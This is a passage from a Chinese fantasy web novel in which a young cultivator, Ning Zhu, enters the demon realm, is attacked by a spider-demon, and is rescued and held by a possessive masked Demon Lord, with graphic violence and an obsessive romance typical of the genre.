不过凑巧的是,宁竹不仅有,还足足囤了五枚。 毕竟这可是能起死回生的灵丹妙药。 宁竹面上没露出任何端倪:“你很奇怪。” 少年的眼眸微微一动。 宁竹:“既然你有钱买碧血回春丹,完全可以去天玑山附近找一个弟子帮你代买,为什么偏偏要找上我?作为修士,你又为什么可以自由进出魔域?” 少年朝她摊开手,把蒙脸的布条稍稍揭开了一点。 宁竹瞳孔一缩。 少年的脸上……有许多黑色的刺字。 ……他是个堕修。 他又蜷起袖角,宁竹看到他手臂上有着深浅交叠的咬痕。 “我的确是修士,但我已经被宗门除名。” “我带着姐姐逃到这里,现在离不开无妄海。离开无妄海,秘术会破,我的姐姐就会死掉。” 宁竹曾在宗门典籍中看到过记载,堕修和堕落为魔的修士不同,堕修还是修士,他们曾犯过滔天罪孽,被宗门除名,人人得而杀之, 就连魔修都会看不起这种人。 难怪他没办法找到天玑山弟子帮他买药。 他能逃到魔域,还能自由进出的话,说明他的姐姐应该是个魔修? 这些年他是在以自己的血肉饲养一个魔修? 宁竹的直觉在告诉她,最好赶紧远离眼前这古怪的少年,都是堕修了还能是什么好人不成? 但……宁竹再度对上了他的眼睛。 冰冷而麻木,只有被生活敲断脊骨碾成烂泥的人,才会是这样的眼神。 不知道为什么,宁竹忽然想到了殷长老。 殷长老是一个好人,却只是因为他的身份而丧命。 一个甘愿用自己的血肉饲养亲人的堕修…… 少年似乎觉察到她的犹豫,忽然跪了下来。 宁竹吓得往后一跳。 少年用那双平静的眼看着她:“求求你,你是这些天第一个愿意听我说话的修士。” 宁竹沉默了下:“有很多修士来这里?” 少年点头:“成为魔修,也是变强的一种途径。” 宁竹忽然摊开手掌:“你要的碧血回春丹,我这里有。” 少年呼吸急促起来:“我可以加钱。” 宁竹收起丹药:“你带我进去,到魔域后我就把丹药给你。” “好。”少年起身,将手中的剑柄递给她:“抓住它。” 少年的剑似乎用了很久也没有保养,剑鞘上很多地方都被磨损了。 宁竹敢只身前往魔域,自然做了万全的准备。 在握住少年剑柄的那一瞬,她便召出了千里遁地符捏在手心。 价格高昂的顶级符箓,她也只买了两枚。 若有危险,她可以第一时间捏碎符箓,转移到安全的地方。 宁竹感觉自己没入了一汪沙海,风沙迷眼,叫人辨不清方向,也看不清周身之人。 唯独手中冰凉的剑柄提示宁竹,少年还在。 也不知走了多久,耳边传来少年的声音:“到了。” 宁竹感觉身子一轻。 魔域的夜幕似乎也比旁的地方浓重几分,入目是连绵不绝的灯火,灯火欲燃,空气都波动着,震颤着。 膀大腰圆的壮汉将娇柔的女子扛在肩头,色彩鲜艳的长蛇盘旋在蒙面男子的肩膀上,咝咝吐信。 一切都是狂乱,无拘无束的,就连檐下悬挂的骷髅骨撞击时发出的声响都清脆悦耳,如同风铃。 有不少不怀好意的目光落在宁竹身上。 少年提醒她:“你太干净了。” 宁竹迅速从乾坤袋里掏出一件通体漆黑的披风,将自己包裹了起来。 漆黑的披风下探出一只白皙的手,上面放着三枚圆滚滚的丹药:“碧血回春丹。” 宁竹说:“谢谢你带我进来,一枚我算十二万灵石给你吧。” 她现在身家颇丰,这点让利也不算什么。 少年瞳孔微微一缩。 他沉默片刻,还是数出四十五枚高阶灵石递给她。 宁竹的目光落在他的手掌上。 厚厚的茧,手指上还有许多细小的伤口。 宁竹取走四十枚灵石,将他的手掌推回去:“剩下的当你的引路费。” 她朝他点点头,转身离开。 少年站在原地,缓缓将那五枚灵石握紧。 他的肩在轻轻颤抖,片刻后,少年抬起头,面无表情地朝反方向离开。 宁竹一直捏着那枚千里遁地符。 她将自己遮掩在披风后,暗暗观察着四周。 不过短短数月,魔域竟然已经发展到这般规模了。 修真界干活的效率向来很高,毕竟很多事情都可以用术法来解决。 宁竹穿梭在鳞次栉比的房屋间,惊讶地发现魔域修士竟不少。 不是魔修,而是和她一样的修士。 但这些修士都面带戒备,每每有人路过,都会握紧手中长剑。 宁竹猜测或许这些修士和那个带她进来的少年一样,都是陪着被魔气侵染的家人来到魔域的。 宁竹甚至还遇见了一家子凡人。 那家人蹲在门前的小溪里洗菜,宁竹路过时,最边上的婆婆忽然站起身,握住手中的菜刀,戒备地盯着她。 宁竹忙离远了一点,表示自己没有恶意。 但这番动静还是惊扰到了屋子里的人,中年男人抱着一个不过三五岁的小孩走出来:“娘,怎么了?” 宁竹这才注意到,男人怀中的孩子俨然已经被魔气侵染,他咬着手,直勾勾地盯着宁竹看。 直到宁竹走远,那家人才放松警惕。 男人说:“夜里不安全,天黑就别出来了。” 老婆婆摇头:“得抓紧时间备菜,凌晨就要起来揉面剁馅,天一黑就歇息,哪来得及?” 男人道:“娘,小安,小宁,你们辛苦了。” 两个小孩齐齐摇头:“爹,你好好照看弟弟就是。” 老婆婆叹气:“小福现在魔气暴动,也只有你这个跟着修士学过几天的能管得住,你且好好照看小福,赚钱养家的事情交给我们就好。” 男人扶住老婆婆:“待小福大些,我便寻人教他修炼,好掌控自己体内的魔气……” 尾调忍不住带上了些哭腔。 老婆婆拍了一下他的背:“阿燕拼命生下来的孩子,我们自然要好好待他。” “一个大男人,哭什么哭,我们已经平安到了魔域,好好做事,自然会有活路,好过在修真界被修士打杀。” 男人抹了把眼泪:“……是啊,还有活路。” 眼前所见越发颠覆宁竹对那位魔尊的认知。 原著里写他暴虐无道,阴晴不定,杀人如麻,现在看来……好像也不是这样啊? 好吧,或许原著是以男主的视角展开的。 立场不同,总有偏差。 宁竹只是没想到,昔日对魔修避之不及的凡人,如今竟会把魔域当作活命的地方。 也就是说,魔尊弃苍御下严格,应当是不允魔修随意伤害凡人和修士的。 宁竹溜达了一圈,这座已经初具规模的城池比想象中大,一时半会也逛不完。 人生地不熟,宁竹打算先熟悉一下,再打听江似和曲亦卓的下落。 魔域很热闹。 一直到半夜,街上行人依然络绎不绝。 宁竹甚至不小心撞见一个女子衣衫半褪,被两个男人扛在肩上,发出娇媚的喘息。 女子看见宁竹,不仅不惊慌,还笑着问一句:“小妹妹,要不要一起来?” 宁竹吓得落荒而逃。 作者设定里这个世界没有合欢宗啊啊! 宁竹一口气跑出两条街开外,才稍稍平复下来。 她抚了抚狂跳的胸口,靠着墙面,仰头看着天上的月亮。 月色孤冷,一如天玑山的月亮,平等地照耀着这片大地。 那颗惶惶不安的心在此时一点点平静下来。 这里……似乎比想象中好上很多。 如果这样的话,江似和曲亦卓如果还活着,会比想象中过得好吧? 宁竹背脊抵着冰冷坚硬的墙壁,低头笑了下。 魔域是有客栈的,但宁竹不大敢住。 虽说这里有修士,但她倒也没胆大到敢只身一人住到魔修开的客栈里。 宁竹找了个城郊的小树林,布下结界,掏出一只食盒。 食盒里装了两菜一汤,还有一大碗喷香的白米饭。 宁竹夹起一块烧得鲜红油亮的红烧肉塞到嘴里,好吃得眯起了眼睛。 乾坤袋里时间静止,囤饭菜简直不要太方便。 宁竹这些时日陆陆续续准备了很多这样的熟食。 她记不清魔尊血洗天玑山的具体时间,但应该就是在这一两年了。 如果到时候她顺利逃走,应该也只能像现在一样躲躲藏藏。 结丹是不用想了。 宁竹对自己的资质还是很有数的,不能辟谷,就要尽量准备足够多的吃食。 吃完饭施了清洁咒,宁竹从乾坤袋里掏出一条柔软的毯子,将自己裹了起来。 宁竹只是筑基修士,比凡人体力强上许多,但也需要休息,她已经两天没合眼了。 其实她也囤了个芥子屋,打开后里面起居洗漱之处应有尽有,是她为以后逃亡准备的。 但现在是在魔域,宁竹担心自己布下的结界会被修为高深的魔修看破,所以打算低调行事。 好在这条睡毯也很舒服,这毯子是她找人定制的,有点像她世界里的睡袋,轻软保暖。 宁竹窝在绵软的毯子中,很快睡着了。 不知何时起了风。 林间树叶哗啦作响。 一道暗色的影投在地上,无声越过结界,停在宁竹面前。 树影摇动。 影子动了,纤细的足肢张牙舞爪伸出,笼住宁竹的口鼻。 “欢娘。” 少女回头。 月色盈盈,她的五官很美,只是许多地方在溃烂。 少女上半身是人身,但下半身却是丑陋的,覆盖满黑毛的足肢。 欢娘开口问:“无烬,怎么了?” 被唤作无烬的少年,正是白日里带宁竹进魔域之人。 无烬沉默了片刻,道:“放过她,可以吗。” 少女抬起足肢捂住嘴,咯咯笑起来:“无烬,你心软了?” 无烬冰冷的眼眸微微波动:“……她是个好人。” “好人?”欢娘嘻嘻哈哈笑着:“好人就不该死吗?” “你别忘了你姐姐是怎么沦落至此的。”欢娘眼睛瞪得很大,眼睛周边的腐肉在往下掉落。 “那些所谓的好人,在我堕魔后恨不能把我碎尸万段!” “若不是为了躲避他们掉入妖窟,我会变成如今这幅鬼样子吗!!” 足肢在地上哒哒作响,尾端泛着森然的冷光。 欢娘冷冰冰说:“你要是心软,从一开始就不该把她骗进魔域。” 无烬慢慢垂下头,那双眼睛又变得麻木而冰冷。 欢娘抬起一节足肢,朝着宁竹眉心刺去。 血珠迸出。 那一瞬,魔宫中的江似猛然抬起眼。 ……是宁竹的气息!! 与此同时,白色的蛛丝缠上了宁竹的身体。 蛛丝缓缓将少女的衣裳溶解,贴上了她的皮肤。 宁竹腰上系着的那条黑金纹路腰饰发出黯淡的光,很快被蚕食为丝丝缕缕的布条。 少女甜美的气息在暗夜中溢出。 欢娘的足肢快速敲击着地面,她冷笑道:“竟然用了高阶隐匿法器,若非无烬的剑柄上沾了我的毒液,还真找不到你。” 蛛丝缓慢生长,将宁竹整个人包裹得严严实实。 最后一点白皙指尖也被包裹住。 欢娘在尖笑:“好久没尝到这么鲜美的猎物了……” 无烬盯着地面扭曲的影子,忽然抬手拦住她:“欢娘,吃我吧。” 欢娘只是不耐烦地推开他,在欢娘继续吐出蛛丝之际,没有人看清那缕红丝是怎么冒出来的。 它速度极快,冲破蛛丝束缚,如同捕猎者主动出击,撕碎包裹成茧的蛛丝,反客为主缠上了欢娘的足肢! 欢娘的脸上露出惊恐的神色:“这,这是什么?!” 她吐出更多蛛丝,释放大量毒液妄想吞噬宁竹,然而没有作用。 红丝拧断了她的一条足肢,两条足肢…… 欢娘发出惨叫,切断蛛丝急急往后退,想要逃跑。 然而红丝如同蛰伏的蛇,飞快窜出,将她的足肢一一咬断。 欢娘痛苦得挥舞着残肢,地面被抓出一道道深刻的痕,她扭动着身躯,面容因为惊恐而扭曲。 红丝还在源源不断缠绕而上。 欢娘的眼珠瞪得越来越大,几乎要从眼眶中掉出。 无烬依旧盯着地面,一动不动。 他的脸颊上沾了欢娘的血,看上去更加苍白疲惫。 欢娘喉咙里嗬嗬作响:“……无……烬……” 欢娘眼眸中迸发出仇恨。 血脉相连的亲人又如何?他是不是也一直想叫自己去死!! 足肢忽然爆起,直直朝着无烬的心脏刺去! 就在刺破他皮肤的那一瞬,忽然有红丝将足肢牢牢缠住。 宁竹虚弱的声音响起:“……快,快跑啊。” 无烬瞳孔一缩。 欢娘发出撕心裂肺的吼叫声。 属于人类的五官扭曲,掉落,硕大如球的眼珠冒了出来! 一只丑陋的蜘蛛几乎遮天蔽日,摩擦着新长出的足肢,要将宁竹狠狠刺穿!! 无烬张开双手挡在了宁竹面前。 风声停滞。 欢娘在半空中停滞了一瞬,忽然响起闷闷的爆裂声。 丑陋的蜘蛛化作血雨,噼里啪啦坠落。 一道无形的力量挡在宁竹上空,将那些腥臭的液体拦下。 天际孤月高悬。 宁竹看见一道清瘦的影朝她落下。 他面覆鎏银,满头银发在空中飞舞,有点像一个人。 像谁呢?宁竹头很痛,一时半会想不起来。 失去意识前,她死死抓住腰侧的乾坤袋,心想,没有人来救她,她也不会死。 还有好多法器没用呢。 第45章 魔宫外。 黑色魔气散开, 白晚擦掉手上的血,从魔气中走出来:“怎么?听说魔尊带回来一个女人?” 曲亦卓:“你不是在办事么?” 白晚笑:“几个不听话的杂碎而已,不费力。” 见她要往殿内走,曲亦卓伸手拦住她:“魔尊不许任何人进去。” 白晚嫌弃地拍掉他的手:“我就看一眼, 魔尊现在又不在。” 她化作一阵黑雾, 如同风刮进殿中。 曲亦卓跟着回过头。 有屏风遮掩, 他什么也看不见。 方才魔尊回来的时候, 将人捂得严严实实, 他什么也看不见。 只是他觉察到了一股气息, 一股……很熟悉的气息。 白晚拂过珠帘, 进了内殿。 整座魔宫都是冰冷黑沉的色泽,偏偏这一间宫殿是温馨的。 地上铺着厚厚的羊毛毯子, 漂亮剔透的珠帘微微晃动,桌案上甚至放着一只白瓷梅瓶, 瓶子里的云英花还带着露珠。 榻上睡着一个少女, 脸颊瓷白,长睫微垂,柔软的发披散了满肩。 白晚怔了一下。 这个人……为什么有点眼熟? 她化为实体,走上前, 抬起手戳了下她的脸。 “别碰她。” 冷不丁冒出来的声音吓了白晚一跳。 她往后退,才发现角落里放了一只金色的笼子。 一个一身黑衣,黑色布条蒙脸的少年垂着眼,盯着地面看。 白晚觉得奇怪:“你是谁?” 少年一副不想说话的模样,只是呆呆看着地面。 白晚这才发现, 少年身上缠绕着几缕极细的红丝,而那些红丝…… 竟与榻上的少女指尖相连。 这是什么? 白晚用剑尖挑起一缕红丝。 红丝如同活了起来,缠上白晚的剑尖。 白晚正要斩断红丝, 忽然脸色一变,化作一阵黑雾准备离开。 然而下一秒,她重重跌到地上。 面覆鎏银的江似冷声说:“我没有允许任何人进来。” 白晚轻轻颤抖着:“……魔尊,我去领罚。” 榻上的少女发出一声痛苦的呻.吟。 白晚盯着魔尊层层叠叠的袍角,头垂低,不敢偷看。 江似忽然说:“滚。” 白晚如蒙大赦,起身飞快离开。 笼子里的无烬抬起头,用冰冷而空洞的眼睛看着他:“原来你就是魔尊。” 江似没有理会他,他径直走到榻边,取出一枚小小的瓷瓶。 宁竹中了鬼面腹蛛的毒,需要鳐灵蛇血方能解毒,他方才出去,便是去寻找蛇血。 宁竹睡得不大安稳,眉头蹙起,手指勾起,随时准备攻击什么人似的。 江似的目光落在与她指尖相连的红丝上。 他眼角直跳,碍眼。 他本想杀了那少年,只是宁竹一直在用红丝保护他,江似不小心斩断一缕红丝,宁竹竟痛得轻轻颤抖。 红丝与她已成一体,伤害红丝便是伤害她。 江似只能将两人一并带回来。 江似阴沉着脸将鳐灵蛇血喂入宁竹口中。 蛇血腥味重,宁竹下意识抵触,唇边溢出一丝血线。 江似抬手替她抹掉。 瓷白脸颊上,殷红被人揉开,泛出几分妖冶。 江似取出绢帕,替她细细擦干净。 动作轻柔,像是对待一件无上珍宝。 江似在榻边坐了很久。 直到宁竹眉头舒展,呼吸也变得平稳,他才起身。 无烬垂头盘坐在笼中。 江似停在他面前。 无烬忽然被一缕魔气缠绕着,被迫扬起脸。 缠绕在他脸上的黑色布条化为齑粉。 一张清隽漂亮的脸出现在面前。 ……如果忽略他脸上的刺字。 江似看着他脸上的刺字,饶有兴趣:“你是天玑山弟子。” 如果他没记错,在犯下大罪的堕修脸上刺字,乃是百年前施行的政策。 清虚真人向来伪善,当上掌门后废除了刺字之举,只将堕修逐下山去。 所以眼前这少年,百年前便已经离开天玑山了。 无烬垂着眼,脸上没有丝毫波动。 江似勾起唇角:“说说你是怎么被逐出师门的。” 无烬沉默不语。 江似挑眉:“那说说你为什么会跟她认识?” 依然没有人回答他。 江似没有耐心地闯入了他的识海。 无烬的识海,是一片火光冲天的荒原,大火不眠不休地焚烧,绿草发芽,又很快枯萎,被焚为灰烬。 人的记忆很长,但无烬的记忆枯燥而无聊,一眼扫过去,竟是十年如一日。 无烬生在一个贫苦人家,他出生不久后,父母遭遇妖兽袭击双亡,是姐姐欢娘拖着被妖兽重伤的身子含辛茹苦带大他。 七岁那年,无烬觉醒灵根,他天赋异禀,区区百日便自行迈入练气期,成功拜入天玑山。 时任掌门道宇真人慧眼识珠,将他收入门中。 无烬只用了七年时间便已结丹,堪称天才。 在他前几年拜入师门的师兄严琅出身自蓬莱岛,入师门十年,却迟迟无法结丹。 欢娘这些年汤药不离身,无烬为了欢娘的病省吃俭用,永远穿着洗得发白发旧的衣裳,用着破破烂烂的剑。 但在慕强的修真界,这些又算得了什么,旁人只知掌门座下的天才弟子无烬,不知蓬莱岛公子严琅。 严琅心生嫉妒,千方百计寻来一件蕴藏魔气的法器送给无烬,想要让无烬被魔气侵染堕为魔修,被驱逐下山。 这是少年第一次收到来自师兄的善意。 他欢喜地带着法器下了山,想要给姐姐看,却在那一日,魔气倾泻,欢娘堕魔,被村人发现后追着她打杀。 无烬眼睁睁看着欢娘掉入妖窟,被鬼面毒蛛侵吞。 为救欢娘,无烬几乎耗尽修为,欢娘活下来了,却成了这副不人不鬼的样子。 欢娘需以人的血肉为食。 无烬四处搜存尸首饲养欢娘,直到一天夜里,欢娘妖性暴动,回到了当初他们生活的那个小村子,将整个村子的人都吞吃入腹。 事情很快被人发现,严琅亲自带人诛妖,为护欢娘,无烬拔剑相向,刺伤严琅,拼死换得欢娘逃走。 道宇真人亲临,废除无烬的灵根,将他逐出师门。 无烬成了堕修。 他下山那一日,严琅笑盈盈来送他。 眼前已是废人,严琅不介意再刺激他一下:“你可知道你姐姐为何会有那么强的妖力?” 他说:“那是因为,我隔三差五便遣人送去活人,给你姐姐加餐啊。” 严琅到死也没想到,一个灵根被废之人,是如何暴起夺过他的剑,一剑捅穿了他的心口。 此后的记忆便如同遮掩了一层无尽的风沙。 他带着欢娘四处躲藏。 渐渐的欢娘妖力越来越强大,他已是废人,不再控制得了欢娘。 昔日天才少年,如今已沦为妖魔的帮凶。 江似无聊地翻看着他的记忆。 从愧疚痛苦,到麻木不仁,如同一滩死水。 直到宁竹出现。 江似不悦地抿起唇,看着记忆里宁竹拉住他的剑柄,又给他留下五万灵石。 江似冷笑着退出他的识海,魔气缭绕,将他周身缠住。 “忘恩负义之人,不配脏了我的手。” 他的目光落在依然缠绕在无烬周身的红丝上,唇角紧抿。 待宁竹醒了,红丝撤去,他便把他丢到蛇山,让他尝尝被毒蛇一口一口咬死的感觉。 “让她吃了我。”无烬忽然开口。 无烬抬起头,麻木的眼瞳中微微漾起别样的光泽:“让她吃了我吧。” 魔气化作万千把利剑,锐利得割破了无烬的皮肤。 滴滴答答的鲜血坠落。 江似阴森森盯着他:“你是什么东西?” 无烬的脸上鲜血蜿蜒,狼狈不堪。 他仰面看他:“吃了我,可以拥有更长的寿命。” 江似瞳孔一缩。 一件被忽略的事情倏然浮现在眼前。 无烬百年前灵根被废,已形同凡人,那为何他如今还保持着少年的模样? 无烬沉默片刻,开口道:“在我被逐出师门的第二年,我和欢娘吃了一只奇怪的野兔。” 他回忆着:“那兔子足有野猪大小,生有异瞳。” “那天吃下野兔后,我和欢娘足足沉睡了十日之久,醒来后……” “仿佛换了一具身子。” 欢娘的人身和鬼面毒蛛相连的地方其实时常在疼痛,吃下野兔后,却再未痛过。 而且鬼面毒蛛寿命往往只有五十余年,欢娘乃是半人半妖,他早已做好准备她活不了太久。 但他们都存活了百余年。 直到近年,欢娘妖力流失得厉害,身子才开始出现腐败的迹象。 无烬又重复道:“……幻娘已得解脱,是我对不起她。” “让她吃了我吧。” 一滴血珠飞到江似面前。 江似伸出舌尖舔了下……似乎比寻常人的甘甜一些。 江似居高临下看着他。 宁竹怎么会吃得下那么恶心的东西,既然他这具身子特殊,倒不如将他炼化到宁竹的躯体中。 这样也免得宁竹亲自下口。 他轻笑了下:“如你所愿。” 无烬身边的笼子倏然消失。 只是红丝却缠绕得更紧了,似乎要拽住他不让走。 江似眼眸微动,转过身,缓缓朝着床榻走去。 衣摆层叠,银刺腰封将江似的腰肢收得很紧,更显背脊宽阔。 只是短短数月,少年便已抛掷青涩。 他停在宁竹榻边。 那双幽深如墨的眼透过面具,沉沉看着她。 宁竹呼吸节奏乱了。 果然在装睡。 也不知过了多久,江似忽然笑了一声。 宁竹缓缓睁开一只眼。 对上那张精美繁复的面具,宁竹先是愣了一秒,才猛然翻身下榻,伏跪在江似面前。 宁竹双肩颤抖:“求魔尊高抬贵手,放过他。” 她在害怕。 江似说不清自己现在是什么感受。 没有重逢的喜悦,只有紧张……不甘。 她和他近在咫尺。 她却在为了另一个人哀求他。 甚至……她还在害怕他。 江似扯了下嘴角:“你是如何认出我的身份?” 伪装音色再简单不过,他如今不是江似,也不该是她所认识的任何人。 宁竹深吸了一口气,抬起头看着他:“听闻魔尊一头银发华美无俦,修为更是深不可测,我便猜到了您的身份。” 江似:…… 谁教她说这些的? 宁竹见他不说话,又小心翼翼道:“此行前往魔域,我发现您御下有方,魔修与修士及凡人和睦相处,魔域一片欣欣向荣之态。” “我和他劳您相救,自然也是感激不甚……” 宁竹的声音稍稍变小了一些:“所以魔尊,您能不能饶了他?我本来就是修士,努力修炼自可延长寿命,不需要吃人……” 江似的表情变了又变,最后他绷着脸说:“要为他求情?” 宁竹敏锐地察觉到他的不悦,连忙说:“他是您的子民,我不吃他,魔尊便可以将他放了。” 江似低哑的声音响起:“那你呢?” 宁竹猛然将头埋到地上:“魔尊救了我,我自然感激涕零!” 一股轻柔的力量缠住宁竹的腰,如同藤蔓,将她卷到江似面前。 少女眼眸微微瞪大,腰肢往后弯折。 冰冷的鎏银面具几乎与她的肌肤相贴。 两人呼吸交缠。 隔着 面具,宁竹只看得见一双深不可测的眼瞳。 江似的面具遮掩住大半张脸。 只露出线条优美的下颌,和微微勾起的唇。 四目相对。 宁竹的目光却不合时宜往下滑落。 他的唇弧度起伏漂亮,唇珠饱满,似乎总是带着一丝浅笑。 ……和江似笑起来时有点像。 江似觉察到她的目光。 他视线微微下移,声音喑哑:“在看什么?” 他不知道宁竹在飞快分析。 原著里这位魔尊嗜血成性,杀人都杀出花式艺术来了。 听说他曾在交手之时,一瞬间在对方身上割下一百零八道伤口。 那修士腾空祭出剑招时,身体原地碎裂成整整齐齐的小块。 还听说他以修士身躯作土壤,在修士心脏里种下种子,植株根系吞噬肺腑,最后从嘴巴里开出灿烂艳丽的鲜花。 总而言之,不管他对魔域子民如何,都改不了他是个变态的事实。 一个喜欢玩弄人命的变态。 一个变态反派为什么要救下自己? 应该……只是出于一时兴起?就像救下路边的小猫小狗? 宁竹觉得她的分析大差不差。 既然如此,魔尊现在应该不会杀她,她要做的,便是争取机会。 宁竹分神偷偷看了一眼无烬。 他依然沉默地盘坐在地上,好似对周身的一切都不感兴趣。 宁竹没有忘记他挡在自己身前的那一幕。 虽然他险些害死自己,但宁竹还是做不到让他死。 于是宁竹回过神来看着江似,柔声说:“我在看魔尊。” 分明知道她是在虚与委蛇,但这一刻,江似的心脏还是重重一跳。 真假掺半的假话最让人信服。 宁竹的眼睛变得湿漉漉:“魔尊……很像我的一个故人。” 江似的呼吸重了几分。 宁竹弯着眼眸:“不瞒魔尊,我这一次进来,就是找他的。” 江似听见他的声音变得干涩,像是将要崩断的弦:“……很重要的人?” “是,很重要的人。” 两人都沉默下来,只有呼吸交织。 江似将她放了下来,他声音很淡:“你可知你是修士。” “一个修士,为了找一个魔修进入魔域,就没想到后果?” 宁竹松了一大口气,却还要故作平静:“想过,但因为是重要的人,冒险也值得。” 江似眼睫微颤:“很不巧,你落到我手里了。” “魔尊会杀我吗?”宁竹已经无声召出了千里遁地符,她将符箓捏在掌心,后背都是冷汗。 大抵她这辈子的运气都用在这里了。 醒来时她的衣裳被换过,但乾坤袋还在! 这也是她一开始便敢同魔尊周旋的底气。 有了千里遁地符,只要找到合适的时机,她就可以救下那个少年,自己也安然离开。 她不能一个人逃跑,把少年留在这。 以魔尊的性格,他一定会杀了他。 宁竹不动声色朝少年靠近。 好在对方并未注意到她的动作。 江似站在原地,袖袍中的手指微微蜷起。 片刻后,他哑声问:“你要找的人,叫什么。” 跟那少年已经挨得很近了。 宁竹掌心冒汗,压根没有注意到魔尊的异常。 她调整着角度,直到确认能碰到少年,才开口说:“他的名字,叫做——” 电光石火间,宁竹反手将一枚千里遁地符拍碎在无烬身上,自己也捏碎掌心符纸。 消失前,宁竹饱含歉意地对江似说:“谢谢魔尊救了我!” 千里遁地符一张只能一个人使用,但她设定的地点都是一样的,在一个离天玑山不远的小镇。 他们肯定能在那里汇合! 一片白光闪过,宁竹几乎都已经看见枯林的轮廓了。 忽然有人抓住了她的脚踝。 宁竹僵硬了一瞬,毛骨悚然回过头。 一只鲜血淋漓的手臂死死抓住她,如同从地狱爬上来的恶鬼。 ……怎么可能?! 阵法失效,枯林旋转成模糊的影子。 宁竹惊恐地瞪大眼。 她重重跌了回去。 身下是绵软的地毯,鼻尖缭绕着血腥味。 重重的喘息在耳边起伏,宁竹倏然被揽入一个怀抱。 冰冷的面具抵住她的后颈,江似咬牙切齿:“想跑?” 江似的大半个身子都浸在血里。 宁竹的衣衫也被撕裂得破破烂烂,几乎不能蔽体。 他们肌肤相贴,滚烫的鲜血灼得宁竹在微微颤抖。 宁竹心率失衡,浑身血液都在逆流。 冰凉的指尖忽然覆在她腰侧。 那里……红痕还未褪去,尚有一圈浅浅的牙印。 身后之人呼吸似乎凝滞。 他周身气息都变了。 宁竹感觉到深入骨髓的恐惧。 如同冰冷的蛇缠绕而上,宁竹被他嵌在怀中,骨骼都几乎要被勒碎时,她听见他阴恻恻问:“这是什么?”—— 作者有话说:想看小江嘿嘿下章不就来了《 》 45-50 第46章 覆在宁竹腰上的指尖灼热滚烫。 眼泪已经不知不觉掉了下来, 宁竹带着哭音说:“放开我!” 身后之人不仅不放手,反而抱得更紧了。 宁竹的呼吸都变得困难,浑身都在颤栗。 冰冷的鎏银面具压在她后颈之上,江似如同一条吐信的毒蛇:“告诉我, 这是什么。” 他偏执地问着同一个问题。 宁竹满脑子都被恐惧占据, 根本来不及细想为什么他如此在意这枚吻痕。 她会死的。 宁竹想。 柔软洁白的地毯已经被鲜血染得淋漓, 花瓶不知何时滚落, 碎裂一地。 那簇开得正盛的云英花已经被碾得稀烂, 植物青涩的味道和血腥味杂糅在一起, 生出糜烂之感。 宁竹在挣扎。 却如同被折断双翼的鸟囚在江似怀中。 他的声音忽然变得冰冷:“是谁?” 总归都要死了。 宁竹埋头狠狠朝着他的胳膊咬下去:“死变态!我凭什么告诉你!” 宁竹舌尖尝到了腥甜, 江似却仿佛不觉得痛。 他双手提住宁竹的腰,将人往上抱。 俯下身, 朝着那道吻痕咬了下去。 宁竹瞳孔一缩。 他的牙尖利,衔着软肉研磨碾咬, 酥麻和痛感一并袭来。 宁竹呜咽出声:“放开我!放开我!!” 她胡乱地蹬他, 打他,江似却死死地含咬着她,直到鲜血淋漓,直到将谢寒卿留下的那道齿痕覆盖。 “噗呲。” 利器没入血肉。 江似缓缓抬起头。 鎏银面具已被星星点点的鲜血染红, 血痕在苍白的下巴上蜿蜒,那张唇却因血红色泽变得糜艳。 宁竹的手还死死抓着那柄化骨匕首。 匕首尾端没入江似的腹部,恨不能将刀柄都捅进去。 少女满面泪痕,眼瞳都变得猩红。 化骨匕首,只要接触到血肉, 便可以将其侵蚀为血水。 周遭变得很安静。 江似抓着宁 竹的手,用了点力气,将化骨匕首从他腹部拔出。 血花飙出。 黑色的魔气缭绕, 他的伤口在很快愈合。 宁竹死死抓着匕首的手松开了。 匕首当啷落地。 她的眼瞳变得空洞。 江似呼吸一滞,猛然抬起她的下颌。 宁竹咳出一枚还未融化掉的丹药。 她胸膛起伏了下,随之咳出一口乌黑的血。 江似手指颤抖,挥袖一扫,从横七竖八的药瓶中翻出一枚通体透明的丹药,塞入她口中。 泪水从宁竹眼角不断滚落,她推拒着那枚能解万毒的雪天清。 江似浑身都在颤抖,他用了点力气,掰开她的唇,恶狠狠说:“不是来找一个重要的人么?人还没找到,怎么那么没出息!吃什么毒药!” 少女牙关紧闭,推拒着那枚丹药。 眼看她的唇隐隐有泛黑的迹象,江似怒道:“把解药吃了,我帮你找。” 宁竹眼眸亮了下,她的瞳孔慢慢聚焦,看向江似。 江似咬牙切齿:“本尊绝不食言!” 宁竹终于将那枚雪天清咽下。 她张了张唇,嗓子很哑:“江似,曲亦卓。” 江似眼角一跳。 曲亦卓?她还要找曲亦卓? 她从乾坤袋里拿出早早准备好的画像递给他,眼眸雾气蒙蒙,眼尾还泛着红,像是被欺负狠了的模样:“魔尊……能不能不要伤害他们。” 江似额角青筋直跳。 宁竹轻轻眨着眼,可怜兮兮看着他。 江似冷声说:“本尊答应你。” 宁竹终于松了一口气,她扯出一个笑:“好。” 雪天清入体,会使人困倦。 宁竹再也抵不住疲惫感,沉沉睡去。 周遭一切狼藉。 江似盯着浑身血污的宁竹,许久之后,他忍痛将她抱回榻上。 他不会死,但身上的伤疼死了。 江似捂着被她捅到的地方,嘶了一声。 画卷还散落在地上,也不知她找谁画的,倒是惟妙惟肖。 江似看了两秒,随手将曲亦卓的那张撕得粉碎。 少女浑身都是血渍。 有他的,也有她的。 江似皱着眉头施诀,宁竹很快变得干干净净,甚至换了一身干净的衣裙。 少女手腕上那枚细细的银链滑了出来,圈着她纤细漂亮的腕骨。 江似垂眸,抓住她的手,指尖在拘银链上轻轻摩挲了一下。 ……蠢死了,为了找一个人,竟然备下那么多后招,连毒药都提前藏在口中。 灯火摇晃。 少年的影也飘忽不定。 他靠近她,指尖靠近她的衣带。 片刻后,手指的方向变了,他按住少女柔嫩的红唇,惩罚般蹂.躏了下。 幽深的眸中似乎燃着黑沉的火焰。 ……他不管是谁留下了那些痕迹。 但她来找他了。 从现在起,她是他的。 再也不许离开。 *** 无妄海风沙不绝。 一道白衣在风沙中若隐若现。 据说无妄海乃是上古魔神设下,里面有高深莫测的阵法相护,得到魔域认可之人,才能看见无尽风沙中那根细小的引路线。 这片沙漠,是上古魔神赐予魔域子民最大的庇护。 夜幕渐沉,天际孤月高悬。 谢寒卿停了下来,仰头看向天幕。 斗柄东指,轩辕列宿。 他的方向没错,但却始终走不出这无妄海。 谢寒卿已经在无妄海中困了一天一夜了。 无尽的风沙,四周白茫茫一片,如同走在一场绵延不绝的大雪之中。 寻常人早已陷入崩溃。 谢寒卿面上却不见波澜,他侧耳,仔细倾听着风沙的节奏,再度提步往前。 天色渐亮。 